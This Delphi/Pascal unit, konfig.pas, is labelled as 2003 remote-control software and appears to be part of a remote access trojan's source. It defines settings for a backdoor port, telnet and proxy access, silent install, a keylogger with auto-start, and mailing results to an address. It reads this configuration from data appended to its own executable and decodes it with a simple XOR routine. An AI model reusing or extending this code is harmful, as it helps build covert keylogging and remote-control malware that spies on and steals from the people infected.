konfig.pas

2003年的远程控制

unit konfig;

interface
type string30=string[30];
type Tdane=record
       email:string30;
       haslo:string30;
       logfile:string30; {in /system}
       info:string30;
       backport,proxylocal,proxyremote:word;
       proxyhost:string30;
       mailhost:string30;
       httpdport:word;
       httpdauto:boolean;
       autolog:boolean;
       install:boolean;
       reboot:boolean;
       reboottimeout:word;
       installname:string30;
       installprocent:byte;
       installhalt:boolean;
       keylogfile:string30;
       autokeylog:boolean;
       debug:boolean;
       shield:boolean;
       shielderror:boolean;
       mail:byte;
       telnetport:integer;
       telnetauto:boolean;
       proxyauto:boolean;
       profile:string30;
       profilekey:string30;
       shieldrun:string30;  	
       shieldrun_en:boolean;	
       shieldrun_mode:byte;
       syskey:boolean;
       title:boolean;		
       wypelniacz:array[1..532] of byte;
       id:word;
       end;
var config:Tdane;

function czytajkonfig:boolean;

implementation

const ident:word=$ABCE;

procedure des(var s:string30);
var i:integer;
begin
randseed:=length(s)*15;
for i:=1 to length(s) do
 begin
 s[i]:=char(ord(s[i]) xor random(255));
 end;
end;

procedure deszyfruj;
begin
with config do
begin
 des(email);
 des(haslo);
 des(logfile);
 des(keylogfile);
 des(info);
 des(proxyhost);
 des(mailhost);
 des(installname);
 des(profile);
 des(profilekey);
 des(shieldrun);
end;
end;

function czytajkonfig:boolean;
var f:file;
    ile:integer;
    fm:byte;
begin
fm:=filemode;
filemode:=0;
assignfile(f,paramstr(0));
reset(f,1);
seek(f,filesize(f)-sizeof(config));
blockread(f,config,sizeof(config),ile);
closefile(f);
result:=(config.id=ident);
deszyfruj;
filemode:=fm;
end;

end.